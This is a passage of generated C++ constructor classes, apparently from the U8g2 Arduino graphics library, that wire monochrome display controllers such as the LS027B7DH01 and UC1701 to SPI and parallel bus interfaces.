u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_400X240_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_400X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_400x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS027B7DH01_M0_400X240_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS027B7DH01_M0_400X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls027b7dh01_m0_400x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LS013B7DH05_144X168_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LS013B7DH05_144X168_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ls013b7dh05_144x168_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_1_6800 : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_1_8080 : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_2_6800 : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_2_8080 : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_F_6800 : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_EA_DOGS102_F_8080 : public U8G2 {\n  public: U8G2_UC1701_EA_DOGS102_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_ea_dogs102_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_1_6800 : public U8G2 {\n  public: U8G2_UC1701_MINI12864_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_1_8080 : public U8G2 {\n  public: U8G2_UC1701_MINI12864_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1701_MINI12864_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1701_MINI12864_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1701_mini12864_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, 